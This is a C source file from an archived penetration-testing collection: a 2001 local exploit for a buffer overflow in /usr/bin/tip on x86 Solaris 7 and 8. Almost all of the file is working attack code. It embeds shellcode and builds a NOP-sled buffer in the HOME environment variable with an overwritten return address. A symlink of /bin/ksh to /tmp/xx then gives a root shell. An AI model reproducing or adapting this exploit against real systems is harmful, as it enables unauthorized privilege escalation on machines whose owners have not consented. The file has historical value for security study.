home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / soltip-ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  48 lines

  1. #include <fcntl.h>
  2.  
  3. /*
  4.    /usr/bin/tip overflow proof of conecpt.
  5.  
  6.  
  7.    Pablo Sor, Buenos Aires, Argentina 03/2001
  8.    psor@afip.gov.ar
  9.  
  10.    works against x86 solaris 7,8
  11.  
  12.    default offset should work.
  13.  
  14. */
  15.  
  16.  
  17. long get_esp() { __asm__("movl %esp,%eax"); }
  18.  
  19. int main(int ac, char **av)
  20. {
  21.  
  22. char shell[]=
  23. "\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
  24. "\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
  25. "\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"
  26.  
  27. "\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
  28. "\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
  29. "\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"
  30.  
  31. "\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  32.  
  33.   unsigned long magic = get_esp() + 0x50;  /* default offset */
  34.   unsigned char buf[600];
  35.  
  36.   symlink("/bin/ksh","/tmp/xx");
  37.   memset(buf,0x90,600);
  38.   buf[599]=0;
  39.   memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  40.   memcpy(buf,"HOME=",5);
  41.   memcpy(buf+265,&magic,4);
  42.   putenv(buf);
  43.  
  44.   system("/usr/bin/tip 5");
  45.   unlink("/tmp/xx");
  46. }
  47.  
  48.